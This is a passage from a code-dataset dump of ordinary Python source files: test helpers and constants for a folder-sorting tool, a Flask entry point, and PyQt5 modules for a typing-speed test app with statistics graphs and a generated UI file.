this_month_sorted_folder_path = (\n sorted_year_folder_path\n / constants.MONTH_FOLDER_NAMES[constants.TODAY.month]\n )\n\n for sorted_file_name in constants.SAMPLE_FILES:\n sorted_file_path = this_month_sorted_folder_path / sorted_file_name\n if not sorted_file_path.is_file():\n is_sorted_successfully = False\n break\n\n return is_sorted_successfully\n\n\ndef generate_sample_commands_file(commands_to_write: str = constants.SAMPLE_COMMANDS):\n \"\"\"Generates a sample commands file for use with testing.\"\"\"\n\n with open(constants.SAMPLE_COMMANDS_FILE, \"w\") as f:\n f.write(commands_to_write)\n\n\ndef destroy_sample_commands_file():\n \"\"\"Destroyes the generated sample commands file.\"\"\"\n\n if constants.SAMPLE_COMMANDS_FILE.is_file():\n constants.SAMPLE_COMMANDS_FILE.unlink()\n\n\nif __name__ == \"__main__\":\n generate_sample_files_folders()\n destroy_sample_files_folders()\n", "id": "4560310", "language": "Python", "matching_score": 2.258035659790039, "max_stars_count": 1, "path": "auto-folder-sort/tests/helpers.py" }, { "content": "from pathlib import Path\nfrom calendar import month_abbr\nfrom datetime import datetime\n\n\n# PATHS\nTESTS_DIR = Path(__file__).absolute().parent\nSAMPLE_FILES_FOLDERS = tuple(TESTS_DIR / f\"SAMPLE_FILES_{i}\" for i in range(1, 3))\nSAMPLE_COMMANDS_FILE = TESTS_DIR / \"sample_commands.txt\"\n\nTODAY = datetime.today()\n\n# String representing the text written to the sample commands file\nSAMPLE_COMMANDS = f\"\"\"{SAMPLE_FILES_FOLDERS[0]} | file_type\n{SAMPLE_FILES_FOLDERS[1]} | date | 2018\"\"\"\n\n# Used to generate sample files (note that the sample folder is created separately)\nSAMPLE_FILES = [\n \"sample.run\",\n \"sample.mp4\",\n \"sample.exe\",\n \"sample.txt\",\n \"sample.jpeg\",\n \"sample.zip\",\n \"sample.ini\",\n \"sample.bat\",\n]\n\n# Used to test that sort_file function placed every sample\n# file in exactly the right folder\nSORT_BY_FILE_FOLDERS = {\n \"Folders & Archives\": [\n \"sample_folder\",\n \"sample.zip\",\n ],\n \"Executables\": [\n \"sample.run\",\n \"sample.exe\",\n \"sample.bat\",\n ],\n \"Documents & Data\": [\n \"sample.txt\",\n \"sample.ini\",\n ],\n \"Media\": [\n \"sample.mp4\",\n \"sample.jpeg\",\n ],\n \"Other\": [],\n}\n\n# Names of folders for each month in format of e.g. (1) Jan, (2) Feb etc.\nMONTH_FOLDER_NAMES = {i: f\"({i}) {month_abbr[i]}\" for i in range(1, 13)}\n", "id": "5129199", "language": "Python", "matching_score": 3.6180098056793213, "max_stars_count": 1, "path": "auto-folder-sort/tests/constants_for_tests.py" }, { "content": "from pathlib import Path\n\n# PATHS\nDIR_PATH = Path(__file__).absolute().parents[1]\nLOGS_DIR_PATH = DIR_PATH / \"logs\"\nLOG_MAIN_PATH = LOGS_DIR_PATH / \"main.log\"\nLOG_SORTER_PATH = LOGS_DIR_PATH / \"sorter.log\"\nCOMMANDS_PATH = DIR_PATH / \"folders_to_track.txt\"\n\n# OTHER\nMONTHS = {\n \"Jan\": \"(1)\",\n \"Feb\": \"(2)\",\n \"Mar\": \"(3)\",\n \"Apr\": \"(4)\",\n \"May\": \"(5)\",\n \"Jun\": \"(6)\",\n \"Jul\": \"(7)\",\n \"Aug\": \"(8)\",\n \"Sep\": \"(9)\",\n \"Oct\": \"(10)\",\n \"Nov\": \"(11)\",\n \"Dec\": \"(12)\",\n}\n\n\nFILE_FOLDERS = {\n \"Folders & Archives\": [\n \"zip\",\n \"z\",\n \"gz\",\n \"tz\",\n \"7z\",\n \"lzx\",\n \"rar\",\n \"pkg\",\n \"deb\",\n \"rpm\",\n ],\n \"Executables\": [\n \"exe\",\n \"app\",\n \"bat\",\n \"sh\",\n \"app\",\n \"run\",\n \"apk\",\n \"bin\",\n \"com\",\n \"wsf\",\n ],\n \"Documents & Data\": [\n \"txt\",\n \"text\",\n \"ini\",\n \"doc\",\n \"docx\",\n \"rtf\",\n \"tex\",\n \"md\",\n \"tar\",\n \"json\",\n \"csv\",\n \"xml\",\n \"dat\",\n \"sql\",\n \"py\",\n \"pyc\",\n \"ipynb\",\n \"html\",\n \"xhtml\",\n \"css\",\n \"scss\",\n \"js\",\n \"c\",\n \"cpp\",\n \"h\",\n \"java\",\n \"jar\",\n \"pps\",\n \"ppt\",\n \"pptx\",\n \"xls\",\n \"xlsm\",\n \"xlsx\",\n ],\n \"Media\": [\n \"iso\",\n \"dmg\",\n \"vcd\",\n \"ttf\",\n \"fnt\",\n \"fon\",\n \"otf\",\n \"ai\",\n \"bmp\",\n \"gif\",\n \"jpeg\",\n \"jpg\",\n \"png\",\n \"psd\",\n \"svg\",\n \"pdf\",\n \"ico\",\n \"mp3\",\n \"mp4\",\n \"m4v\",\n \"mkv\",\n \"wav\",\n \"avi\",\n \"flv\",\n \"mpg\",\n \"mpeg\",\n \"wmv\",\n \"mov\",\n ],\n \"Other\": [],\n}\n", "id": "3672671", "language": "Python", "matching_score": 2.688941240310669, "max_stars_count": 1, "path": "auto-folder-sort/sorter/constants.py" }, { "content": "from .sorter import Sorter, file_handler\nfrom .constants import LOG_MAIN_PATH, COMMANDS_PATH\n", "id": "12462712", "language": "Python", "matching_score": 0.6233883500099182, "max_stars_count": 1, "path": "auto-folder-sort/sorter/__init__.py" }, { "content": "from dotenv import load_dotenv\nfrom pathlib import Path\n\nfrom website import create_app\n\n\n# CONSTANTS\nFOLDER_PATH = Path(__file__).absolute().parent\nENV_PATH = FOLDER_PATH / \".env\"\n\n# Load environment variable(s)\nload_dotenv(dotenv_path=ENV_PATH)\n\n# Create flask app\napp = create_app()\n\nif __name__ == \"__main__\":\n app.run()\n", "id": "6997214", "language": "Python", "matching_score": 1.2672854661941528, "max_stars_count": 1, "path": "just-a-tracker/main.py" }, { "content": "from datetime import datetime\nfrom pathlib import Path\n\nimport appdirs\n\n# CONSTANTS -----------------------------------------------------------------------------\nAPP_NAME: str = \"ps-typer\"\n\nOPTIONS_HIGHSCORES: tuple[str, str, str] = (\"none\", \"today\", \"all_time\")\nDATETIME_FORMAT_STRING: str = \"%Y-%m-%d\"\n\n# Paths\nPATH_USER_DATA_DIR: Path = Path(appdirs.user_data_dir(APP_NAME))\nPATH_USER_PREFERENCES_JSON: Path = PATH_USER_DATA_DIR / \"preferences.json\"\nPATH_USER_DATA_DB: Path = PATH_USER_DATA_DIR / \"user_data.db\"\n# Ensure directory exists\nif not PATH_USER_DATA_DIR.is_dir():\n PATH_USER_DATA_DIR.mkdir(parents=True)\n\nPATH_BASE: Path = Path(__file__).parents[1]\nPATH_ASSETS: Path = PATH_BASE / \"assets\"\nPATH_ICONS: Path = PATH_ASSETS / \"icon.png\"\nPATH_FONTS: Path = PATH_ASSETS / \"InconsolataBold.ttf\"\nPATH_SOUNDS: Path = PATH_ASSETS / \"sounds\"\n\n# Statistics window\nGRAPH_MEASUREMENTS: dict[str, int | float] = dict(\n axis_width=1.5,\n curve_width=2.5,\n symbol_width=7,\n grid_alpha=90,\n)\n\n\n# FUNCTIONS -----------------------------------------------------------------------------\ndef get_today() -> str:\n f\"\"\"Get today's date as a string in the format {DATETIME_FORMAT_STRING}\"\"\"\n return datetime.today().strftime(DATETIME_FORMAT_STRING)\n\n\ndef get_datetime_from_str(date: str) -> datetime:\n f\"\"\"\n Returns datetime object from string supplied in the format {DATETIME_FORMAT_STRING}\n \"\"\"\n return datetime.strptime(date, DATETIME_FORMAT_STRING)\n", "id": "5058589", "language": "Python", "matching_score": 2.6685004234313965, "max_stars_count": 0, "path": "ps_typer/data/utils.py" }, { "content": "from PyQt5 import QtWidgets\nfrom PyQt5.QtGui import QColor\nfrom typing import List\nimport pyqtgraph\nimport datetime\nimport time\nfrom calendar import month_abbr\n\nfrom source_ui import stats_window\n\n# CONSTANTS\nAXIS_WIDTH = 1.5\nCURVE_WIDTH = 2.5\nSYMBOL_WIDTH = 7\nGRID_ALPHA = 90\n\n\nclass StatsWindow(QtWidgets.QWidget, stats_window.Ui_statsWindow):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.setupUi(self)\n\n def _get_qcolors(self, colours: dict):\n \"\"\"Converts the given dict of colours to a dict of QColor objects.\"\"\"\n\n qcolours = dict()\n for name, colour in colours.items():\n qcolours[name] = QColor(colour)\n\n return qcolours\n\n def update_days_ago(self, days_ago: int) -> None:\n \"\"\"Updates labelDaysAgo with a given number of days.\"\"\"\n\n self.labelDaysAgo.setText(f\"- {str(days_ago)} days ago\")\n\n def set_up_graph(self, data: List[str], colours: dict) -> None:\n \"\"\"Sets up the graphView wpm over time graph with the given data.\"\"\"\n\n self.colours = self._get_qcolors(colours)\n\n # Set up axes\n self.graphView.setLabel(\"left\", \"WPM\")\n self.graphView.setAxisItems({\"bottom\": DateAxisItem(orientation=\"bottom\")})\n\n # Save axes items to instance variables so they can be easily modified\n self.left_axis = self.graphView.getAxis(\"left\")\n self.bottom_axis = self.graphView.getAxis(\"bottom\")\n\n # Set the colours for the graph\n self.graphView.setBackground(None)\n self._set_axes_style(self.colours[\"axes\"])\n\n # Set up curve of wpm against date\n self.curve = self.graphView.plot()\n self._set_data(data)\n self._update_graph()\n\n # Private Methods\n def _set_axes_style(\n self, colour: tuple, width=AXIS_WIDTH, grid_alpha=GRID_ALPHA\n ) -> None:\n \"\"\"\n Sets the graph's axes colours to the provided tuple (rgb) and\n sets their alpha value.\n \"\"\"\n\n self.left_axis.setTextPen(color=colour)\n self.left_axis.setPen(color=colour, width=width)\n self.left_axis.setGrid(grid_alpha)\n\n self.bottom_axis.setTextPen(color=colour)\n self.bottom_axis.setPen(color=colour, width=width)\n self.bottom_axis.setGrid(grid_alpha)\n\n def _get_time_stamp(self, datetime_object: datetime.datetime) -> int:\n \"\"\"Returns a timestamp (int) from a given datetime object.\"\"\"\n\n return int(time.mktime(datetime_object.timetuple()))\n\n def _get_datetime_object(self, date_str: str) -> datetime.datetime:\n \"\"\"Takes a string in the format yyyy-mm-dd: and returns a datetime object.\"\"\"\n\n raw_date: List[str] = date_str.replace(\":\", \"\").split(\"-\")\n date_ints: List[int] = list(map(int, raw_date))\n\n return datetime.datetime(date_ints[0], date_ints[1], date_ints[2])\n\n def _clean_date(self, date_str: str) -> int:\n \"\"\"\n Takes a string in the format 'yyyy-mm-dd:' and returns a\n usable timestamp representation.\n \"\"\"\n\n return self._get_time_stamp(self._get_datetime_object(date_str))\n\n def _set_data(self, data: List[str]) -> None:\n \"\"\"\n Sets self.dates and self.wpms from the given data for\n daily highscores.\n\n Strings in the data list should be in the format 'yyyy-mm-dd: WPM'.\n \"\"\"\n\n self.dates: List[int] = []\n self.wpms: List[int] = []\n\n # Add data for each day (data point) to 2 separate lists (2 axes)\n for day in data:\n split_day: List[str] = day.split()\n\n self.dates.append(self._clean_date(split_day[0]))\n self.wpms.append(int(split_day[1]))\n\n def _update_graph(self, curve_width: int = CURVE_WIDTH) -> None:\n \"\"\"Updates self.curve with the data set in self._set_data.\"\"\"\n\n self.curve.setData(\n x=self.dates,\n y=self.wpms,\n pen=pyqtgraph.mkPen(color=self.colours[\"curve\"], width=curve_width),\n symbolBrush=pyqtgraph.mkBrush(color=self.colours[\"curve\"]),\n symbolPen=pyqtgraph.mkPen(color=self.colours[\"curve\"]),\n symbolSize=SYMBOL_WIDTH,\n )\n\n\nclass DateAxisItem(pyqtgraph.AxisItem):\n \"\"\"\n Axis item to replace the x-axis in the above class's graphView item\n so that strings are used to represent the time stamp values plotted.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n\n super().__init__(*args, **kwargs)\n\n # Set up label for axis\n self.setLabel(text=\"Date Set\", units=None)\n self.enableAutoSIPrefix(False)\n\n def _get_string(self, time_stamp: int) -> str:\n \"\"\"Gets the string value which is to replace the given time_stamp value.\"\"\"\n\n # types\n datetime_object: datetime.datetime\n list_from_time: List[str]\n month_name: str\n\n datetime_object = datetime.datetime.fromtimestamp(time_stamp)\n list_from_time = datetime_object.strftime(\"%m %d\").split()\n\n month_name = month_abbr[int(list_from_time[0])]\n\n return \" \".join((month_name, list_from_time[1]))\n\n def tickStrings(self, values, scale, spacing):\n \"\"\"\n Will change the axis tick values to be strings which represent\n the given time stamp values in the format of Month Day.\n \"\"\"\n\n return [self._get_string(value) for value in values]\n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication([])\n\n window = StatsWindow()\n window.show()\n\n app.exec_()\n", "id": "9219533", "language": "Python", "matching_score": 2.123884439468384, "max_stars_count": 1, "path": "speed-typer/type_test/statistics.py" }, { "content": "from time import perf_counter\nfrom typing import Generator\n\nfrom PyQt5 import QtCore, QtWidgets\nfrom PyQt5.QtMultimedia import QSoundEffect\n\nfrom ps_typer.data.highscores_data_handler import HighscoreDataHandler\nfrom ps_typer.data.utils import OPTIONS_HIGHSCORES\nfrom ps_typer.type_test import results, texts\nfrom ps_typer.ui import typing_window\n\n# Constants\nDEFAULT_COLOURS = [\"rgb(0, 100, 0)\", \"rgb(100, 0, 0)\"]\n_TRANSLATE_RESULT = {\n OPTIONS_HIGHSCORES[0]: \"No new highscore set. Don't give up!\",\n OPTIONS_HIGHSCORES[1]: \"New daily highscore set! Good job!\",\n OPTIONS_HIGHSCORES[2]: \"New all-time highscore set! Congratulations!\",\n}\n\n\nclass TypingWindow(QtWidgets.QWidget, typing_window.Ui_typingWindow):\n def __init__(\n self,\n highscore_handler: HighscoreDataHandler,\n stacked_widget: QtWidgets.QStackedWidget,\n key_sounds_rotator: Generator[QSoundEffect, None, None],\n *args,\n **kwargs,\n ):\n super().__init__(*args, **kwargs)\n\n self.highscore_handler: HighscoreDataHandler = highscore_handler\n self.master_stacked_widget: QtWidgets.QStackedWidget = stacked_widget\n\n self.setupUi(self)\n\n self.lineInput.textChanged.connect(self._on_input_text_changed)\n self.lineInput.textChanged.connect(lambda: next(key_sounds_rotator).play())\n self.buttonNewText.clicked.connect(self.on_clicked_new)\n self.buttonRestart.clicked.connect(self.on_clicked_restart)\n\n # time and timer\n self.timer = QtCore.QTimer(self)\n self.timer.timeout.connect(self._update_time)\n self.timer.setInterval(100)\n self._reset_time()\n\n def set_mode(self, mode: str) -> None:\n \"\"\"\n Sets the mode for the typing window, by getting a specific generator\n from texts.py and setting a title for the window.\n \"\"\"\n\n self.mode = mode\n\n self.labelTitle.setText(mode)\n\n if mode == \"Common Phrases\":\n self.labelMainText.setAlignment(QtCore.Qt.AlignCenter)\n\n self.text_generator = texts._translate[mode]()\n self._set_main_text()\n\n def set_rich_text_colours(self, colours: dict[str, str]) -> None:\n \"\"\"\n Sets the colours to be used for rich text formatting.\n\n Dictionary provided should be in the order:\n [green_colour, red_colour]\n \"\"\"\n\n self.colours: dict[str, str] = colours\n\n # Private methods\n def _set_main_text(self) -> None:\n \"\"\"\n Sets the text to be typed out by the user by getting a value\n from self.text_generator.\n\n If the list of strings from self.text_generator is already\n exhausted, a default warning string is set instead.\n \"\"\"\n\n try:\n self.text = next(self.text_generator)\n except StopIteration:\n self.text = \"You have typed all the texts in this category!\"\n\n self.labelMainText.setText(self.text)\n\n def _calculate_score(self, accuracy: int) -> int:\n \"\"\"Returns wpm score after calculations including accuracy.\"\"\"\n\n if accuracy < 75:\n return 0\n\n self.start_time: float\n\n seconds: float = perf_counter() - self.start_time\n\n return round(((len(self.text) / 5) / (seconds / 60)) * accuracy / 100)\n\n def _calculate_accuracy(self, input_text: str) -> int:\n \"\"\"Returns accuracy as an int between 1-100 representing a percentage.\"\"\"\n\n correct: int = 0\n for i, character in enumerate(input_text):\n if character == self.text[i]:\n correct += 1\n\n return int(correct / len(self.text) * 100)\n\n def _set_stats(self, input_text: str) -> None:\n \"\"\"Sets instance variables for wpm score and accuracy.\"\"\"\n\n self.accuracy = self._calculate_accuracy(input_text)\n self.wpm = self._calculate_score(self.accuracy)\n\n def _display_highscore_result(self) -> None:\n \"\"\"\n Updates the highscore in the highscore object and displays the result.\n \"\"\"\n\n highscore_result: str = self.highscore_handler.new_highscore(self.wpm)\n self.results_window.labelHighscoreSet.setText(\n _TRANSLATE_RESULT[highscore_result]\n )\n\n def _get_rich_text(self, input_text: str) -> str:\n \"\"\"\n Returns the rich text to be displayed so characters typed correctly are\n highlighted green while incorrect characters are highlighted red.\n \"\"\"\n\n typed_text = list()\n rest_of_text = self.text[len(input_text) :]\n\n for i, character in enumerate(input_text):\n if self.text[i] == character:\n typed_text.append(\n f'<span style=\"background-color:{self.colours[\"green\"]};\">{self.text[i]}</span>'\n )\n else:\n typed_text.append(\n f'<span style=\"background-color:{self.colours[\"red\"]};\">{self.text[i]}</span>'\n )\n\n rich_text = (\n \"<html><head/><body><p>\"\n f'{\"\".join(typed_text)}'\n f\"{rest_of_text}</p></body></html>\"\n )\n\n return rich_text\n\n def _update_time(self) -> None:\n \"\"\"\n Updates the displayed time on self.labelTime in\n seconds since self.start_time.\n \"\"\"\n\n self.labelTime.setText(str(int(perf_counter() - self.start_time)))\n\n def _reset_time(self) -> None:\n \"\"\"Resets self.timer, self.start_time and self.labelTime.\"\"\"\n\n self.start_time = 0.0\n self.timer.stop()\n self.labelTime.setText(\"0\")\n\n def _show_results_window(self) -> None:\n self.master_stacked_widget.insertWidget(2, self.results_window)\n self.master_stacked_widget.setCurrentIndex(2)\n self.results_window.show()\n\n def _close_results_window(self) -> None:\n self.master_stacked_widget.removeWidget(self.results_window)\n del self.results_window\n self.master_stacked_widget.setCurrentIndex(1)\n\n def _create_results_window(self) -> None:\n \"\"\"Generates the results window.\"\"\"\n\n self.results_window = results.ResultsWindow()\n\n self.results_window.labelAccuracy.setText(f\"{str(self.accuracy)}%\")\n self.results_window.labelSpeed.setText(f\"{str(self.wpm)} WPM\")\n\n self._display_highscore_result()\n\n self.results_window.buttonNext.clicked.connect(self.on_clicked_next)\n\n # Apply same functionality as for the self.buttonMainMenu, which\n # is set in main.py\n self.results_window.buttonMainMenu.clicked.connect(\n self.on_clicked_results_main_menu\n )\n\n def _on_finished(self, input_text: str) -> None:\n \"\"\"\n Opens the results window, and is called when the user has typed\n out all the given text.\n \"\"\"\n\n self._set_stats(input_text)\n\n self._create_results_window()\n\n self._show_results_window()\n self.results_window.buttonNext.setFocus()\n\n # stylesheet for results window must be set after the window is shown\n self.results_window.setStyleSheet(self.styleSheet())\n\n def _on_input_text_changed(self, input_text: str) -> None:\n \"\"\"\n Updates background of each letter as user types and calls a function when\n the user is finished.\n \"\"\"\n\n # Break out of function if the text characters are exceeded\n # This is required to avoid an error if the user spams keys\n # right at the end of the text they are typing\n if len(input_text) > len(self.text):\n return None\n\n # Update displayed time or start timer\n if not self.start_time:\n self.timer.start()\n self.start_time = perf_counter()\n\n # Set label text to rich text so typed characters are highlighted\n # based on whether they match self.text\n rich_text = self._get_rich_text(input_text)\n self.labelMainText.setText(rich_text)\n\n if len(input_text) >= len(self.text):\n self._on_finished(input_text)\n\n # BUTTON METHODS\n def on_clicked_restart(self) -> None:\n self.lineInput.clear()\n self._reset_time()\n\n def on_clicked_new(self) -> None:\n self.on_clicked_restart()\n self._set_main_text()\n\n def on_clicked_next(self) -> None:\n self._close_results_window()\n self.on_clicked_new()\n\n def on_clicked_results_main_menu(self) -> None:\n \"\"\"\n Clicks the typing window's main menu button and closes the results window.\n\n This is done because the functionality for the main menu button is given\n in main.py.\n \"\"\"\n\n self._close_results_window()\n self.buttonMainMenu.click()\n", "id": "12816542", "language": "Python", "matching_score": 3.343336582183838, "max_stars_count": 0, "path": "ps_typer/type_test/type_test.py" }, { "content": "from PyQt5 import QtWidgets\n\nfrom ps_typer.ui.main_menu import Ui_mainMenu\n\n\nclass MainMenu(QtWidgets.QWidget, Ui_mainMenu):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.setupUi(self)\n", "id": "4560561", "language": "Python", "matching_score": 1.4924957752227783, "max_stars_count": 0, "path": "ps_typer/type_test/main_menu.py" }, { "content": "from PyQt5 import QtWidgets\n\nfrom ps_typer.ui import results_window\n\n\nclass ResultsWindow(QtWidgets.QWidget, results_window.Ui_resultWindow):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.setupUi(self)\n", "id": "646842", "language": "Python", "matching_score": 3.2823688983917236, "max_stars_count": 0, "path": "ps_typer/type_test/results.py" }, { "content": "from PyQt5 import QtWidgets\n\nfrom source_ui import result_window\n\n\nclass ResultsWindow(QtWidgets.QWidget, result_window.Ui_resultWindow):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.setupUi(self)\n\n self.buttonNext.setFocus()\n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication([])\n\n window = ResultsWindow()\n window.show()\n\n app.exec_()\n", "id": "7052334", "language": "Python", "matching_score": 0.7962689995765686, "max_stars_count": 1, "path": "speed-typer/type_test/results.py" }, { "content": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'statsWindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.15.4\n#\n# WARNING: Any manual changes made to this file will be lost when pyuic5 is\n# run again. Do not edit this file unless you know what you are doing.\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_statsWindow(object):\n def setupUi(self, statsWindow):\n statsWindow.setObjectName(\"statsWindow\")\n statsWindow.resize(1089, 779)\n self.horizontalLayout_4 = QtWidgets.QHBoxLayout(statsWindow)\n self.horizontalLayout_4.setObjectName(\"horizontalLayout_4\")\n self.scrollArea = QtWidgets.QScrollArea(statsWindow)\n self.scrollArea.setMinimumSize(QtCore.QSize(0, 0))\n self.scrollArea.setFrameShape(QtWidgets.QFrame.NoFrame)\n self.scrollArea.setFrameShadow(QtWidgets.QFrame.Plain)\n self.scrollArea.setWidgetResizable(True)\n self.scrollArea.setObjectName(\"scrollArea\")\n self.scrollAreaWidgetContents_2 = QtWidgets.QWidget()\n self.scrollAreaWidgetContents_2.setGeometry(QtCore.QRect(0, -175, 1054, 1140))\n self.scrollAreaWidgetContents_2.setMinimumSize(QtCore.QSize(950, 1140))\n self.scrollAreaWidgetContents_2.setStyleSheet(\"\")\n self.scrollAreaWidgetContents_2.setObjectName(\"scrollAreaWidgetContents_2\")\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.scrollAreaWidgetContents_2)\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n spacerItem = QtWidgets.QSpacerItem(100, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem)\n self.verticalLayout_4 = QtWidgets.QVBoxLayout()\n self.verticalLayout_4.setContentsMargins(-1, 0, -1, 0)\n self.verticalLayout_4.setSpacing(10)\n self.verticalLayout_4.setObjectName(\"verticalLayout_4\")\n spacerItem1 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\n self.verticalLayout_4.addItem(spacerItem1)\n self.labelStatistics = QtWidgets.QLabel(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelStatistics.sizePolicy().hasHeightForWidth())\n self.labelStatistics.setSizePolicy(sizePolicy)\n self.labelStatistics.setMinimumSize(QtCore.QSize(0, 80))\n font = QtGui.QFont()\n font.setPointSize(48)\n self.labelStatistics.setFont(font)\n self.labelStatistics.setObjectName(\"labelStatistics\")\n self.verticalLayout_4.addWidget(self.labelStatistics)\n spacerItem2 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_4.addItem(spacerItem2)\n self.gridLayout = QtWidgets.QGridLayout()\n self.gridLayout.setContentsMargins(-1, 0, -1, -1)\n self.gridLayout.setObjectName(\"gridLayout\")\n self.labelTodayScore = QtWidgets.QLabel(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelTodayScore.sizePolicy().hasHeightForWidth())\n self.labelTodayScore.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(24)\n font.setItalic(True)\n self.labelTodayScore.setFont(font)\n self.labelTodayScore.setObjectName(\"labelTodayScore\")\n self.gridLayout.addWidget(self.labelTodayScore, 0, 2, 1, 1)\n self.labelAllTimeScore = QtWidgets.QLabel(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelAllTimeScore.sizePolicy().hasHeightForWidth())\n self.labelAllTimeScore.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(24)\n font.setItalic(True)\n self.labelAllTimeScore.setFont(font)\n self.labelAllTimeScore.setObjectName(\"labelAllTimeScore\")\n self.gridLayout.addWidget(self.labelAllTimeScore, 2, 2, 1, 1)\n self.labelToday = QtWidgets.QLabel(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelToday.sizePolicy().hasHeightForWidth())\n self.labelToday.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(24)\n self.labelToday.setFont(font)\n self.labelToday.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n self.labelToday.setObjectName(\"labelToday\")\n self.gridLayout.addWidget(self.labelToday, 0, 0, 1, 1)\n spacerItem3 = QtWidgets.QSpacerItem(10, 10, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.gridLayout.addItem(spacerItem3, 0, 1, 1, 1)\n spacerItem4 = QtWidgets.QSpacerItem(10, 10, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.gridLayout.addItem(spacerItem4, 0, 3, 1, 1)\n self.labelAllTIme = QtWidgets.QLabel(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelAllTIme.sizePolicy().hasHeightForWidth())\n self.labelAllTIme.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(24)\n self.labelAllTIme.setFont(font)\n self.labelAllTIme.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n self.labelAllTIme.setObjectName(\"labelAllTIme\")\n self.gridLayout.addWidget(self.labelAllTIme, 2, 0, 1, 1)\n self.labelDaysAgo = QtWidgets.QLabel(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(2)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelDaysAgo.sizePolicy().hasHeightForWidth())\n self.labelDaysAgo.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(24)\n font.setItalic(True)\n self.labelDaysAgo.setFont(font)\n self.labelDaysAgo.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)\n self.labelDaysAgo.setObjectName(\"labelDaysAgo\")\n self.gridLayout.addWidget(self.labelDaysAgo, 2, 4, 1, 1)\n spacerItem5 = QtWidgets.QSpacerItem(10, 10, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.gridLayout.addItem(spacerItem5, 1, 0, 1, 1)\n self.verticalLayout_4.addLayout(self.gridLayout)\n spacerItem6 = QtWidgets.QSpacerItem(20, 50, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_4.addItem(spacerItem6)\n self.graphView = PlotWidget(self.scrollAreaWidgetContents_2)\n self.graphView.setMinimumSize(QtCore.QSize(900, 350))\n self.graphView.viewport().setProperty(\"cursor\", QtGui.QCursor(QtCore.Qt.OpenHandCursor))\n self.graphView.setObjectName(\"graphView\")\n self.verticalLayout_4.addWidget(self.graphView)\n spacerItem7 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred)\n self.verticalLayout_4.addItem(spacerItem7)\n self.labelResetTitle = QtWidgets.QLabel(self.scrollAreaWidgetContents_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.labelResetTitle.sizePolicy().hasHeightForWidth())\n self.labelResetTitle.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setPointSize(28)\n font.setBold(False)\n font.setWeight(50)\n self.labelResetTitle.setFont(font)\n self.labelResetTitle.setStyleSheet(\"\")\n self.labelResetTitle.setObjectName(\"labelResetTitle\")\n self.verticalLayout_4.addWidget(self.labelResetTitle)\n self.gridLayout_2 = 